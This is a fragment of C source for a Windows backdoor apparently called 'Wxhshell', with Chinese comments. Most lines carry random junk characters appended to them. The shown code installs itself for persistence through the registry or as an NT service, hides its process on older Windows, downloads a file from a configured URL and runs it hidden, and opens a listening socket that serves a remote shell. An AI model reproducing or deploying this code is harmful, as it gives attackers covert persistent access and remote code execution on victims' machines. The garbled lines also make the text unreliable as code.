} PROCESS_BASIC_INFORMATION; ~;` fC|)
f&f[La
PROCNTQSIP NtQueryInformationProcess; wH#Lb@cfZ0
|O2|`"7
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 31H|?cg<
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ddl3fl#f
W%w82@'
HANDLE hProcess; 7~:>WMv9
PROCESS_BASIC_INFORMATION pbi; 5t TLMZ `o
j_hjCQ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oA[2)BU
if(NULL == hInst ) return 0; - f+CyhR"*
k#BU7Exij
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (]oFB$
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Af$0 o=".
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?! !;XW
x>'?IJZ
if (!NtQueryInformationProcess) return 0; /\Jc:v#Q
-0/=k_q_
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +38Lojb}
if(!hProcess) return 0; Sv~PXi^`H
4D0(Fl
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?|\0)wrRf
zp}yiE!bl
CloseHandle(hProcess);
4{c`g$j>
M,I68
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F@oT7NB/n
if(hProcess==NULL) return 0; VNr!|bp5
4c~*hMry
HMODULE hMod; zaQ$ Ht
char procName[255]; 3~#Z E;>#
unsigned long cbNeeded; 6="M0%
5B_-nYJDt
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9(V=Ubj
+*WUH513
CloseHandle(hProcess); 6f<*1YR
F
7m vSo350
if(strstr(procName,"services")) return 1; // 以服务启动 \nn56o@eN
Z{Lmd`<w`j
return 0; // 注册表启动 ~]jx+6k]
} N. ItyV
EG8%~k+R
// 主模块 "0p +SZ~D
int StartWxhshell(LPSTR lpCmdLine) HE8'N=0
{ *)2x&~T*|
SOCKET wsl; "'Q$.sR
BOOL val=TRUE; })h'""i&xn
int port=0; Djg1Qh
struct sockaddr_in door; |E>v~qD8I
e-YGuWGN7
if(wscfg.ws_autoins) Install(); PTfN+
e<&_tx
port=atoi(lpCmdLine); ?Yynd
/r #b
if(port<=0) port=wscfg.ws_port; 7R%
PVgS4x
$sB48LJuU'
WSADATA data; My`josJ`Pb
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iPR!JX
_
:Q0?ub]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; (Q*2dd>
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LbLbJ{68
door.sin_family = AF_INET; T +|J19
door.sin_addr.s_addr = inet_addr("127.0.0.1"); `Pz!SJ|
door.sin_port = htons(port); 5pN08+
Off: ~
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E1mI Xd;.
closesocket(wsl); eHfG;NsV/
return 1; GFSlYG
} RBMMXJj
nA{ncTg1\
if(listen(wsl,2) == INVALID_SOCKET) { 98"z0nI%
closesocket(wsl); sYW1T @
return 1; 4okHAv8;
} n]kQtjJ
Wxhshell(wsl); ?(|TP^
WSACleanup(); UvW:#
`Lb _J
return 0; 59"Nn\}3gE
-Ihn<<uE?
} ~7)rKHau
mYsuNTx!.
// 以NT服务方式启动 {!:|.!-u
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?trt4Tbe/
{ z[$9B#P
DWORD status = 0; 4q@9
DWORD specificError = 0xfffffff; ZIGbwL
pU'`9fLi_
serviceStatus.dwServiceType = SERVICE_WIN32; ZipK;!9by
serviceStatus.dwCurrentState = SERVICE_START_PENDING; VLwJ6?.f'
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ePu2t3E
serviceStatus.dwWin32ExitCode = 0; Y;%R/OyWY
serviceStatus.dwServiceSpecificExitCode = 0; O #uaGziFf
serviceStatus.dwCheckPoint = 0; OmoplJ+
serviceStatus.dwWaitHint = 0; pE YrmC
qx#ghcU
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 80R=r
if (hServiceStatusHandle==0) return; +lXdRc`6
qAuUe=w%p
status = GetLastError(); =_H*fhXS
if (status!=NO_ERROR) ux/[d6To
{ A+bubH,
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2=Vkjh-
serviceStatus.dwCheckPoint = 0; o#KPrW`XJ/
serviceStatus.dwWaitHint = 0; 8m13M5r
serviceStatus.dwWin32ExitCode = status; l yLK$B?/
serviceStatus.dwServiceSpecificExitCode = specificError; s K$Sar
SetServiceStatus(hServiceStatusHandle, &serviceStatus); D3ZT''
return; @zVBn~=i
} +2_6C;_DX
gP_d>p:b
serviceStatus.dwCurrentState = SERVICE_RUNNING; :BrnRW64
serviceStatus.dwCheckPoint = 0; ^QHMN 7r/
serviceStatus.dwWaitHint = 0; )oz-<zW
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e5:l 6`
} n<"a+TTU
!A ydhe
// 处理NT服务事件,比如:启动、停止 5e~{7{
VOID WINAPI NTServiceHandler(DWORD fdwControl) #/
gme
{ S|u1QGB
switch(fdwControl) KzFs#rhpn
{ V }r_
case SERVICE_CONTROL_STOP: UU:QK{{E
serviceStatus.dwWin32ExitCode = 0; cvLcre% >A
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4)>\rqF+v
serviceStatus.dwCheckPoint = 0; *M**h-p2'
serviceStatus.dwWaitHint = 0; \VhpB
{ S92!jp/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); MM58w3Mz
} #VMBn}
return; N%M>,wT
case SERVICE_CONTROL_PAUSE: EF7|%N
serviceStatus.dwCurrentState = SERVICE_PAUSED; fAA@ziKg
break; ss M9t
case SERVICE_CONTROL_CONTINUE: 3\U,Kg
serviceStatus.dwCurrentState = SERVICE_RUNNING; JwG5#CFu^
break; e^l+#^fR
case SERVICE_CONTROL_INTERROGATE: N4GIb 6
break; oT5rX
,8
}; JXa%TpI:
E
SetServiceStatus(hServiceStatusHandle, &serviceStatus); N6 }i>";_;
} kI1{>vYD
jJ{
w -$
// 标准应用程序主函数 iTBhLg,
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^Ihdq89 t
{ JcALFKLB
"=5vgg3
// 获取操作系统版本 <xh'@592
OsIsNt=GetOsVer(); =ym~=
S
GetModuleFileName(NULL,ExeFile,MAX_PATH); .qU%SmQ^
cK}
// 从命令行安装 6;=wuoJi
if(strpbrk(lpCmdLine,"iI")) Install(); mYs->mg1
G QB^
// 下载执行文件 [8J}da }
if(wscfg.ws_downexe) { ~Sem_U`G
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ''
A[`,3
WinExec(wscfg.ws_filenam,SW_HIDE); MAhPO!e5.
} $R#L@iL-
8@C|exAD`
if(!OsIsNt) { gt~2Br4
// 如果时win9x,隐藏进程并且设置为注册表启动 $!3t$-TSD
HideProc(); gSo(PW)
StartWxhshell(lpCmdLine); I`}vdX)
} EA{*%9 A
else @^4M~F%
if(StartFromService()) a_fW{;}[
// 以服务方式启动 8J(zWV7 r
StartServiceCtrlDispatcher(DispatchTable); ((IBaEq
else !iz vY
// 普通方式启动 ^Th"`Av5
StartWxhshell(lpCmdLine); Bc@r*zb
YV!V9
return 0; 1R~WY'Ed
}